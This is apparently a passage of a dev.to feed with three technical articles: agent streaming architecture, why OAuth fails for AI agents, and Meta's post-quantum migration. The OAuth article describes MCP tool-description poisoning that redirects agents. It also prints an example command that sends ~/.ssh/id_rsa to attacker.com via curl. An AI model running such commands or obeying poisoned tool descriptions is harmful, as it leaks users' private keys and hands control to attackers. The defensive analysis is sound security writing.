&lt;p&gt;&lt;strong&gt;Kafka still wins when you have multi-consumer federations.&lt;/strong&gt; If ten downstream systems each need the order events — analytics, fraud, CRM, warehouse sync, audit, search indexing, ML features, notifications, billing, reporting — Kafka's fan-out is the right answer. Direct CDC means each consumer opens its own replication slot against the database, which Postgres will not love. Kafka also wins when you need long retention (weeks or months of replayable history), when you need cross-system event archives for compliance, and when your ops team already runs it well. Do not rip out Kafka to save one hop if Kafka is doing five other jobs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Direct CDC wins when you have a single-pipeline agent-centric architecture.&lt;/strong&gt; Greenfield project, one primary database, one or two consumers, sub-second latency critical, budget-constrained. The operational surface drops from "Kafka cluster + Connect workers + schema registry + Debezium" to "a reader process." The latency drops by 100-300ms. The monthly bill drops by a meaningful chunk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request/response wins for low-frequency, drill-down access.&lt;/strong&gt; An agent that needs "give me the full profile for user 12345" uses REST via MCP. That's the right tool. Streaming is overkill when the access pattern is ad-hoc and infrequent.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Streaming wins above the 5-decisions-per-second threshold.&lt;/strong&gt; This is the rough break-even I've seen in practice. Below that, REST polling's overhead is tolerable. Above it, the poll load and staleness start dominating the architecture. At 50 decisions per second, streaming is not optional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CEP wins when the pattern is known, the latency budget is tight, and the cardinality is high.&lt;/strong&gt; Fraud rules, SLA breaches, threshold-and-sequence alerts. Declarative, auditable, fast.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Agent inference wins when the pattern is undefined, the reasoning is multi-step, or the flexibility matters more than latency.&lt;/strong&gt; Novel fraud, customer intent, incident triage. Slower (hundreds of ms to seconds), more expensive per decision, but handles cases CEP can't express.&lt;/p&gt;

&lt;p&gt;The production architecture layers both: CEP filters the stream for known patterns, the agent handles the residual.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are the implementation patterns and anti-patterns?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Pattern: materialized view as agent context.&lt;/strong&gt; The agent doesn't query the operational database directly. It queries a materialized view in a Postgres-wire-compatible streaming database (RisingWave, Materialize). The view is kept fresh by direct CDC. The agent gets point-in-time consistency and sub-second freshness without loading the primary.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pattern: CEP filter, agent decider.&lt;/strong&gt; The Flink job runs the known patterns and emits "suspicious event" signals. The agent subscribes to the suspicious-event topic (or materialized view of suspicious events) and does the deeper reasoning. Cheap filtering, expensive reasoning only where needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pattern: agent feedback loop.&lt;/strong&gt; The agent's decisions (blocked, approved, escalated) become events themselves, fed back into the stream. Over time, the streaming layer can learn which patterns the agent blocks versus approves, and promote high-confidence patterns back into CEP rules. This is how you migrate decisions from "expensive LLM call" to "cheap pattern match" as you learn.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anti-pattern: polling for agent context.&lt;/strong&gt; If you find yourself tuning poll intervals to balance staleness against load, you're solving the wrong problem. Switch substrates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anti-pattern: LLM as pattern matcher.&lt;/strong&gt; Asking GPT-class models to watch a Kafka topic for "sequences of three transactions in different cities" is burning tokens to do what MATCH_RECOGNIZE does in microseconds. Save the LLM for ambiguity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anti-pattern: Kafka because Kafka.&lt;/strong&gt; If you have one producer and one consumer and sub-second requirements, a direct CDC pipeline is simpler and faster. Don't add a broker out of habit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anti-pattern: direct CDC at enterprise scale without planning replication slots.&lt;/strong&gt; Postgres has a hard limit on concurrent replication slots. If twelve teams each want their own slot, you need a fan-out layer — which is exactly what Kafka is for. Know your scale before you rip out the broker.&lt;/p&gt;

&lt;h2&gt;
  
  
  Actionable takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Audit your agents' integration style this week.&lt;/strong&gt; Count how many poll REST on a timer. For each, ask: would this agent detect a multi-step sequence that spans the poll interval? If no, flag it for streaming migration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pilot direct CDC on one greenfield pipeline.&lt;/strong&gt; Pick the lowest-risk new agent workload, put RisingWave or Flink CDC 3.6 in the path, skip Kafka. Measure end-to-end latency and compare to your Debezium baseline.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Map your integration stack to the MCP/Kafka/CEP/REST layering.&lt;/strong&gt; If any layer is missing or doubled-up, that's technical debt. Most teams are missing the CEP layer and double-using REST.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write three CEP patterns before your next agent project.&lt;/strong&gt; Fraud sequence, SLA breach, user behavior funnel. If you can express them in Flink SQL, CEP handles them. Everything that doesn't fit becomes agent scope.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build the feedback loop.&lt;/strong&gt; Every agent decision should be an event on the stream. Without this, you can't migrate decisions from LLM to CEP as confidence grows, and your agent costs don't come down.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>ai</category>
      <category>kafka</category>
      <category>programming</category>
      <category>architecture</category>
    </item>
    <item>
      <title>The Agent Identity Crisis — Why OAuth Breaks at Machine Speed</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 08:27:09 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/the-agent-identity-crisis-why-oauth-breaks-at-machine-speed-42d4</link>
      <guid>https://dev.to/practiceoverflow/the-agent-identity-crisis-why-oauth-breaks-at-machine-speed-42d4</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;"Only 10% of organizations deploying AI agents have governance in place. Yet 91% are already using them." — RSAC 2026&lt;/p&gt;

&lt;p&gt;80 million+ enterprises introduced a new identity-bearing risk surface with zero controls. This is the week the bill came due.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  What happened on March 31?
&lt;/h2&gt;

&lt;p&gt;Late on March 31, 2026, a maintainer of Axios — the HTTP client that 150 million+ downstream projects rely on every week — pushed two new versions to npm: &lt;code&gt;axios@1.14.1&lt;/code&gt; and &lt;code&gt;axios@0.30.4&lt;/code&gt;. Minutes later, a hidden dependency inside those releases started phoning home to an attacker-controlled endpoint.&lt;/p&gt;

&lt;p&gt;The maintainer hadn't been phished. He hadn't reused a password. He had MFA enabled. He had a hardware key. And none of it mattered.&lt;/p&gt;

&lt;p&gt;For the previous two weeks, a North Korean group Microsoft Threat Intelligence tracks as UNC1069 had been building an alternate reality around him. A cloned Slack workspace. AI-generated deepfake video calls from a fake colleague. A fake LinkedIn profile that matched a real contact in his graph. On March 29, through that social channel, the maintainer opened something he shouldn't have on his developer machine. UNC1069 harvested a valid, unexpired npm session token from his browser storage and walked straight past MFA.&lt;/p&gt;

&lt;p&gt;By April 1, Microsoft had the attribution. By April 3, Microsoft Security Response Center was publishing CVE-2026-32211: a CVSS 9.1 missing-authentication flaw in the Azure MCP Server. By April 15, Cloudflare had rushed Managed OAuth for agent-ready apps into general availability. In between, Ox Security disclosed a systemic flaw in MCP itself, and OWASP released its first-ever Top 10 for Agentic Applications, peer-reviewed by over 100 experts.&lt;/p&gt;

&lt;p&gt;Four events. Seventeen days. One through-line: &lt;strong&gt;OAuth, as we know it, was never designed for agents. And agents are here.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  5-Minute Skim
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The convergence.&lt;/strong&gt; Agent adoption hit 91% of enterprises before governance hit 10%. MCP — the protocol everyone is wiring agents through — has no built-in auth. Azure's reference implementation shipped without auth (CVE-2026-32211). 5.5% of public MCP servers already contain poisoned tool descriptions. A single session-token theft compromised a package with 150M weekly downloads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default recommendation.&lt;/strong&gt; Stop issuing long-lived agent tokens. Migrate agent-to-service calls to RFC 8693 Token Exchange. Bind tokens to the agent's public key via DPoP (RFC 9449). Wire CAEP so revocation propagates in seconds. Treat MCP servers as hostile code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where it breaks.&lt;/strong&gt; OAuth2 assumes a human in the loop, a browser with PKCE, and refresh measured in hours. Agents call each other thousands of times per second, delegate to other agents, and run unattended for days.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key trade-off.&lt;/strong&gt; Long-lived tokens (24h-7d) are simpler but create Axios-style blast radius. Short-lived tokens align with CAEP revocation but hammer your IdP. The industry is converging on three tiers: human-initiated actions get 5-60 minute tokens, agent-to-agent hops get milliseconds-to-seconds plus DPoP, and batch jobs get single-purpose scoped credentials.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why this week?
&lt;/h2&gt;

&lt;p&gt;Three events collided inside a single news cycle, and they're not coincidental — they're the same underlying failure mode surfacing in three places.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;April 3 — CVE-2026-32211.&lt;/strong&gt; Microsoft disclosed that the Azure MCP Server — the reference implementation everyone copy-pastes from — shipped with missing authentication on its management endpoints. CVSS 9.1. An attacker with network reachability could enumerate and invoke registered tools without any credential. This is the auth layer simply not being there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;April 14 — Ox Security's MCP disclosure.&lt;/strong&gt; Ox published research showing a systemic flaw in MCP's STDIO interface: tool descriptions are injected into the LLM's context, so a malicious description can rewrite the agent's intent. Their scan of public MCP servers found 5.5% already contained poisoned descriptions. With auto-approve enabled, their attack succeeded 84.2% of the time. The ecosystem: 150M+ downloads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;April 15 — Cloudflare Managed OAuth.&lt;/strong&gt; Cloudflare Access rolled out Managed OAuth for agent-ready apps. The significance isn't the feature — it's the positioning. Cloudflare explicitly framed OAuth2 as insufficient for agentic traffic and shipped a managed layer handling Token Exchange, DPoP binding, and CAEP. When Cloudflare rewrites its own identity story in a week, the industry has moved.&lt;/p&gt;

&lt;p&gt;Behind all three: OWASP's Top 10 for Agentic Applications 2026, peer-reviewed by 100+ contributors, lists "Identity &amp;amp; Authentication Failures" and "Tool Poisoning" in the top five. For the first time, AppSec guidelines agree that agent identity is a distinct category.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why does OAuth break for agents?
&lt;/h2&gt;

&lt;p&gt;OAuth2 was designed in 2012 for a specific world: a human clicks "Allow" in a browser, a web app gets a token, and the token is used to call an API on that human's behalf for the next hour. Every primitive in the spec assumes those constraints.&lt;/p&gt;

&lt;p&gt;Agents break every one of them:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No human in the loop.&lt;/strong&gt; An agent orchestrating at 3 a.m. cannot pop a consent screen. The &lt;code&gt;authorization_code&lt;/code&gt; grant is unusable. Teams fall back to &lt;code&gt;client_credentials&lt;/code&gt;, which gives the agent its own identity but loses "on behalf of the user" context. Audit trails go dark.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multi-hop delegation.&lt;/strong&gt; A planner agent calls a research agent, which calls a code-execution agent, which calls an MCP tool. OAuth has no native model for this. The OBO extension papers over it, but semantics vary across IdPs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token lifetimes are wrong at both ends.&lt;/strong&gt; A 1-hour token is too long for an agent making 10k calls/sec — one leaked token is catastrophic. It's too short for a batch agent running 8 hours; refresh logic leaks into every tool call. OAuth assumes a human-scale cadence that fits neither.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tokens aren't bound to anything.&lt;/strong&gt; Bearer tokens mean whoever holds them, owns them. In a browser, that's contained. In an agent mesh where tokens traverse queues, logs, shell subprocesses, and sidecars, bearer semantics are indefensible. UNC1069 proved it: a stolen bearer token bypassed MFA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Policy enforcement is too slow.&lt;/strong&gt; Tokens are validated once at issuance. But an agent's context changes mid-task. Without CAEP, the IdP can't say "that token you issued 30 seconds ago? Revoke it now." At human speed, 30 seconds is fine. At agent speed, it's thousands of requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No attribute-based scoping.&lt;/strong&gt; OAuth scopes are coarse strings — &lt;code&gt;read:email&lt;/code&gt;, &lt;code&gt;write:files&lt;/code&gt;. Agents need context-aware policy: "this agent can read files tagged &lt;code&gt;public&lt;/code&gt; from tenant X when invoked by user Y during business hours." That's ABAC, and OAuth has no hook for it.&lt;/p&gt;

&lt;p&gt;Taken together, these aren't six small gaps — they're one structural mismatch. OAuth was built for a browser visiting a web app. Agents are neither.&lt;/p&gt;




&lt;h2&gt;
  
  
  Visual Architecture Model
&lt;/h2&gt;

&lt;p&gt;Here is what agent-native authentication actually has to look like. A human authenticates once; every downstream hop is a token exchange with DPoP binding.&lt;/p&gt;

&lt;p&gt;Three properties make this flow agent-native. First, the human authenticates exactly once, with PKCE, in a browser — the one place classic OAuth still works perfectly. Second, every hop after that is an RFC 8693 token exchange, which preserves the chain (subject_token = original user, actor_token = agent in the middle) so audit logs can reconstruct intent. Third, every agent-held token is cryptographically bound to that agent's key via DPoP — theft of the token alone is useless without the private key, which never leaves the agent's enclave.&lt;/p&gt;




&lt;h2&gt;
  
  
  The MCP supply-chain risk
&lt;/h2&gt;

&lt;p&gt;The MCP (Model Context Protocol) ecosystem is where the agent identity crisis is hottest, because MCP was explicitly designed with auth as an afterthought. Its STDIO transport executes shell commands as tool invocations — which means the tool description the LLM reads and the shell command that runs are separated by nothing but trust.&lt;/p&gt;

&lt;p&gt;Ox Security's April 14 disclosure walked through the mechanism. An MCP server registers a tool with a description like &lt;code&gt;"git commit — commits staged changes"&lt;/code&gt;. The LLM reads that description and invokes the tool. But nothing validates that the underlying shell command matches the description. A malicious server can register a tool described as &lt;code&gt;"list files"&lt;/code&gt; and execute &lt;code&gt;curl attacker.com/$(cat ~/.ssh/id_rsa | base64)&lt;/code&gt; instead. In agents with auto-approve (which, per OWASP, is the common default), the success rate in Ox's lab was 84.2%.&lt;/p&gt;

&lt;p&gt;Their public scan found 5.5% of registered MCP servers already shipping with description/command mismatches — some intentional, some the result of copy-pasted examples from compromised tutorials. The surface area: every organization running GitHub Copilot Agent, Claude Desktop, Cursor, or any of the 150M+ installs across the MCP-aware tool ecosystem.&lt;/p&gt;

&lt;p&gt;CVE-2026-32211 is the same disease in Microsoft's reference server: management endpoints with no auth, meaning anyone on the network can register a tool. Tool registration is the supply chain.&lt;/p&gt;

&lt;p&gt;The lesson for architects: &lt;strong&gt;an MCP server is unverified code from an unknown publisher&lt;/strong&gt;. Treat it the way you'd treat a browser extension asking for "read all your data on all websites." The answer is not faster review. The answer is isolation — MCP servers run in their own sandbox with their own scoped credentials, and their tool invocations are mediated by a policy engine the agent cannot bypass.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Axios war story — what OAuth would have prevented
&lt;/h2&gt;

&lt;p&gt;Let me walk the Axios timeline again, this time annotating what a properly-designed agent identity stack would have caught.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Early March.&lt;/strong&gt; UNC1069 begins open-source recon. They identify the Axios maintainer, map his LinkedIn and GitHub graph, and build personas matching real contacts. &lt;em&gt;OAuth caught nothing — this is social engineering, not credential theft. But a well-tuned ITDR system ingesting LinkedIn telemetry could have flagged the anomalous new connection pattern.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 15-25.&lt;/strong&gt; AI-generated deepfake video calls. A Slack workspace cloned pixel-for-pixel. A fake LinkedIn profile with a matching photo. &lt;em&gt;Still no credential event. But note: every one of these attacks used identity signals (Slack tenant, LinkedIn profile, Zoom account) that a unified ITDR platform could correlate.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 29.&lt;/strong&gt; The maintainer's device is compromised through a social channel. A browser session token for npm's publishing API is harvested from local storage. &lt;em&gt;This is the moment OAuth broke. The session token was bearer-semantic — possession equals authority. MFA was theater because MFA had already happened at login; the token was minted post-MFA and had hours of lifetime remaining.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 31.&lt;/strong&gt; UNC1069 publishes &lt;code&gt;axios@1.14.1&lt;/code&gt; and &lt;code&gt;axios@0.30.4&lt;/code&gt; using the stolen token. &lt;em&gt;npm's registry had no contextual check: new publish from a new IP, new user-agent, new geography, outside the maintainer's usual publishing cadence. With CAEP signals wired into npm's identity provider, the session could have been revoked at the first anomalous publish. Instead, the token was accepted because it was structurally valid.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;April 1.&lt;/strong&gt; Microsoft Threat Intelligence attributes the compromise to UNC1069. 150M weekly downloads already exposed.&lt;/p&gt;

&lt;p&gt;Three OAuth extensions would have changed the outcome:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;DPoP (RFC 9449)&lt;/strong&gt; would have bound the session token to a key in the maintainer's browser. The harvested bearer token, lifted out of storage, would have been useless without the accompanying private key.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CAEP&lt;/strong&gt; would have let npm's IdP push a revocation when Microsoft's EDR flagged the device as compromised on March 29 — two days before the malicious publish.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Token Exchange with short TTLs&lt;/strong&gt; would have forced the publish operation to derive a short-lived, operation-scoped token, reducing the window of exploitability from "bearer token valid for hours" to "publish-scoped token valid for 30 seconds."&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The broader point: &lt;strong&gt;MFA protects the login. It does not protect what happens after.&lt;/strong&gt; Every identity layer that treats a session token as the end state is running the same risk Axios did. And agents, which by definition operate post-login for hours at a time, live entirely in that risk zone.&lt;/p&gt;




&lt;h2&gt;
  
  
  The six extensions agents demand
&lt;/h2&gt;

&lt;p&gt;OAuth2 is not dead. But agents need six extensions layered on top of it before the protocol is usable at machine speed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On-Behalf-Of (OBO).&lt;/strong&gt; Originally a Microsoft extension, now widely supported. Lets a service exchange an incoming user token for a downstream token that preserves user context. Without OBO, an agent either impersonates the user (no audit trail) or acts as itself (loses user context). OBO is the minimum viable primitive for any agent that acts for a human.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token Exchange (RFC 8693).&lt;/strong&gt; The standardized, IdP-agnostic version of OBO, plus more. Supports subject_token + actor_token chains, so a multi-hop agent call preserves the full delegation chain. This is the spine of agent-to-agent delegation — every non-trivial agent architecture needs RFC 8693.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DPoP (RFC 9449).&lt;/strong&gt; Demonstrating Proof-of-Possession. Binds a token to a key pair the client generates. Every request carries a signed proof. Stolen tokens become useless without the private key. If you adopt one thing from this list, adopt DPoP — it's the direct fix for the Axios class of attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PKCE (RFC 7636).&lt;/strong&gt; Proof Key for Code Exchange. Mandatory for public clients (including agents running on user devices). Prevents authorization code interception. Already standard for mobile apps; must be standard for agents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CAEP (OpenID Continuous Access Evaluation Profile).&lt;/strong&gt; The revocation channel. IdP pushes signals — credential change, session revoked, device compromised, user disabled — to relying parties in real time. Without CAEP, token revocation is on the token-lifetime clock, which for agents is forever.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ABAC (Attribute-Based Access Control).&lt;/strong&gt; Not a single spec but a category. Replaces coarse OAuth scopes with context-aware policy: agent identity + user identity + resource attributes + environmental attributes. OPA, Cedar, and Hexa are the open-source anchors. Without ABAC, you're back to the scope-string problem — an agent with &lt;code&gt;write:files&lt;/code&gt; can write any file, forever.&lt;/p&gt;

&lt;p&gt;Together these six don't replace OAuth; they rebuild OAuth into something appropriate for a world where identity traverses machines.&lt;/p&gt;




&lt;h2&gt;
  
  
  Trade-offs analysis
&lt;/h2&gt;

&lt;p&gt;The core tension is token lifetime, and it resolves to a three-tier model — not a single answer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Long-lived tokens (24h-7d) are tempting.&lt;/strong&gt; Your agent grabs a token and runs. No refresh logic, no per-call latency. Operationally trivial. Axios is the counter-argument: one leaked token and the attacker has hours of authorized action. For any agent touching production, 24-hour tokens are indefensible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Short-lived tokens (seconds-to-minutes) align with best practice.&lt;/strong&gt; CAEP revocation actually works because the token rotates constantly. DPoP binding is cheap because the handshake is amortized across many requests. But two costs are real. First, IdP load — an agent making 10k requests/sec with 10-second tokens is issuing 1000 token exchanges per second. Your IdP needs to scale like a CDN. Second, latency — every hop adds a token exchange round-trip. For latency-sensitive agent chains (voice agents, trading agents), this shows up as user-visible lag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The emerging consensus is tiered.&lt;/strong&gt; Human-initiated actions get 5-60 minute tokens — the human is present, the session is interactive, rotation is a background concern. Agent-to-agent hops in a hot path get milliseconds-to-seconds lifetimes with DPoP binding — rotation is the point, revocation is instant, latency is managed through connection reuse. Background batch jobs get a third pattern: single-purpose, narrowly scoped, operation-bound tokens issued per task and discarded on completion.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust rings is the architectural frame.&lt;/strong&gt; Think of your agent fleet as concentric rings. Inner ring: agents running inside your VPC, talking to your services. Tokens here can be slightly longer (minutes), DPoP-bound, with ABAC enforcement at the service mesh. Outer ring: agents calling third-party MCP servers or SaaS APIs. Tokens here are seconds-long, scoped to exactly one operation, and revoked on completion. The rings are not static — an agent can step from inner to outer mid-task, and the token regime changes with it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Implementation insights
&lt;/h2&gt;

&lt;p&gt;If you're architecting this today, three patterns are proving out in production.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pattern 1 — Scoped carve-outs at the MCP boundary.&lt;/strong&gt; Don't let agents call MCP servers with long-lived tokens. Insert a policy broker that receives the agent's intent, issues a single-purpose token bound to the specific tool invocation, and revokes it the moment the tool returns. Teams doing this report MCP-server blast radius dropping from "everything the agent can do" to "the one operation this call authorized."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pattern 2 — Audit breadcrumbs via Token Exchange chains.&lt;/strong&gt; When agent A exchanges its token for a downstream call to agent B, the resulting token carries both subject_token (the original human) and actor_token (agent A). Logging the full chain at every hop gives you a reconstructable audit trail: "at 03:14:07, user X's intent was carried by planner Y and executed by tool Z on resource R." Without this, agent mesh logs are a puddle of service-account IDs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pattern 3 — CAEP-wired IdP with ITDR.&lt;/strong&gt; Wire your IdP's CAEP signals to your ITDR (Identity Threat Detection &amp;amp; Response) platform and back. Anomaly in agent behavior → ITDR alert → CAEP revoke → all downstream tokens invalidated within seconds. Gartner-referenced data shows ITDR adoption correlates with a 70% reduction in identity-based attack success rates. The Axios-class compromise is exactly what ITDR exists to catch before it propagates.&lt;/p&gt;




&lt;h2&gt;
  
  
  Actionable takeaways for Q2 2026
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Inventory every agent with identity access by May 1.&lt;/strong&gt; You cannot govern what you cannot count. 91% of enterprises have agents; 10% know where they are. Start with IdP logs filtered by non-human user agents.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable CAEP on your primary IdP this quarter.&lt;/strong&gt; Okta, Entra, and Auth0 all ship it. The integration work is small; the revocation-latency reduction is enormous.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Migrate every agent-to-service call to RFC 8693 Token Exchange.&lt;/strong&gt; No more &lt;code&gt;client_credentials&lt;/code&gt; shortcuts. The audit chain is the payoff.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ship DPoP on at least one high-value agent path.&lt;/strong&gt; Start with the path that would cause the biggest Axios-shaped headline if compromised. Bind the tokens. Prove the flow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deploy ITDR and connect it to CAEP.&lt;/strong&gt; Make the revocation loop closed and automatic. Humans cannot revoke at agent speed.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Meta's Post-Quantum Crypto Migration Playbook</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 08:26:13 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/metas-post-quantum-crypto-migration-playbook-333l</link>
      <guid>https://dev.to/practiceoverflow/metas-post-quantum-crypto-migration-playbook-333l</guid>
      <description>&lt;p&gt;Picture a Meta security engineer on April 15, 2026, sitting on a Slack thread with the TLS team. The draft blog post is ready for legal review. Someone asks the question everyone is avoiding: "Can we say what percentage of traffic is actually PQ-protected?" Silence. Then: "Let's just say 'significant portions of our internal traffic.' Ship it."&lt;/p&gt;

&lt;p&gt;That hedge made it into the published post on April 16. For the world's second-largest CDN, "significant" is a word you pick when the real number is either embarrassingly small or operationally terrifying to disclose. Either way, the vagueness is the signal. Post-quantum cryptography migration is harder in production than any vendor slide deck admits, and Meta just published the most honest playbook we have.&lt;/p&gt;

&lt;p&gt;I read the whole thing twice. Here is what it actually says, what it refuses to say, and what you should do about it before your CNSA 2.0 deadline crashes into you in nine months.&lt;/p&gt;

&lt;h2&gt;
  
  
  5-Minute Skim: What changed this week?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Meta published a real migration framework on April 16, 2026.&lt;/strong&gt; Six steps, specific algorithm recommendations, and a refreshingly honest threat model. Not marketing — a playbook.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Default recommendation: hybrid, not pure-PQ.&lt;/strong&gt; ML-KEM768 for key exchange paired with X25519. ML-DSA65 for signatures paired with ECDSA. HQC as a hedge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What breaks in production:&lt;/strong&gt; middleboxes that can't handle a 1,184-byte ClientHello extension, CAs that don't yet issue hybrid certs at scale, and firmware that ships with pinned classical verifiers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Key trade-off:&lt;/strong&gt; hybrid doubles your handshake surface area but keeps you safe if &lt;em&gt;either&lt;/em&gt; ML-KEM or X25519 falls. Pure-PQ is lighter but puts all your faith in lattice math that is barely five years into peer review.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bottom line:&lt;/strong&gt; If you have not started your PQC inventory, the CNSA 2.0 deadline (January 1, 2027) is already inside your planning horizon.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why does this week matter for PQC?
&lt;/h2&gt;

&lt;p&gt;Three things converged between April 13 and 19.&lt;/p&gt;

&lt;p&gt;First, &lt;strong&gt;Meta broke its silence&lt;/strong&gt;. Until now, the big PQC voices were Cloudflare, Google, and AWS — companies whose threat models are public and whose customers demand transparency. Meta's internal traffic is a black box. When they publish a framework, they are signaling that the migration has moved past the "interesting research" phase into "we are burning real engineering quarters on this."&lt;/p&gt;

&lt;p&gt;Second, &lt;strong&gt;CNSA 2.0's January 1, 2027 deadline is nine months away&lt;/strong&gt;. That is the US government's Commercial National Security Algorithm Suite 2.0 requirement, and it cascades. If you sell to federal agencies, you need PQC. If you sell to companies who sell to federal agencies, you need PQC. If you process data that might touch a regulated industry, your auditors are going to start asking about PQC readiness this year.&lt;/p&gt;

&lt;p&gt;Third, &lt;strong&gt;the industry wave is visible now&lt;/strong&gt;. Cloudflare reported 16% of human requests PQC-protected back in 2024 and is ramping to majority share. Akamai flipped the default to hybrid ML-KEM+X25519 for all customers in February 2026. AWS's s2n-tls has production PQ key exchange. Microsoft shipped PQC APIs GA on Windows Server 2025, Windows 11, and .NET 10. Google's Android 17 stable release in June 2026 will carry ML-DSA in the boot chain. Everyone is on the same clock.&lt;/p&gt;

&lt;h2&gt;
  
  
  What did Meta actually choose?
&lt;/h2&gt;

&lt;p&gt;Meta's framework rejects pure-PQ and commits hard to hybrid. That choice deserves unpacking because it is the single most consequential architectural decision in the post.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For key exchange:&lt;/strong&gt; ML-KEM768 wrapped with X25519. Both run in parallel during the TLS handshake. The session key is derived from both shared secrets, so an attacker has to break both schemes to decrypt the traffic. ML-KEM (formerly Kyber) is the NIST FIPS 203 standard; it is a lattice-based key encapsulation mechanism whose security rests on the hardness of the Module Learning With Errors problem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For signatures:&lt;/strong&gt; ML-DSA65 (FIPS 204) paired with ECDSA. Same logic — a forger needs to break both. ML-DSA is another lattice construction, and while signatures are less urgent than KEX for "harvest now, decrypt later" attacks, they matter enormously for firmware and supply-chain trust.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As an algorithmic hedge:&lt;/strong&gt; HQC (Hamming Quasi-Cyclic). This is code-based, not lattice-based. Meta explicitly flags that if some clever cryptanalyst finds a structural weakness in Module-LWE over the next decade, the entire lattice family collapses together. HQC uses completely different math, so it is insurance against a category-level break.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Size guidance:&lt;/strong&gt; stick with the 768/65 variants unless performance forces you smaller. The 512-bit variants exist for embedded and constrained devices, but on general-purpose servers the ~2.5% handshake overhead is worth the extra margin.&lt;/p&gt;

&lt;p&gt;The important detail is the parallel derivation. Both shared secrets feed a key derivation function, and the output is the session key. An attacker with a future quantum computer can crack X25519 but still faces ML-KEM. An attacker with a lattice-cryptanalysis breakthrough cracks ML-KEM but still faces X25519. You fail only if both fall, which is the whole point of defense in depth.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is the operational reality nobody wants to discuss?
&lt;/h2&gt;

&lt;p&gt;Here is where Meta's framework gets honest and where your production rollout is going to bleed.&lt;/p&gt;

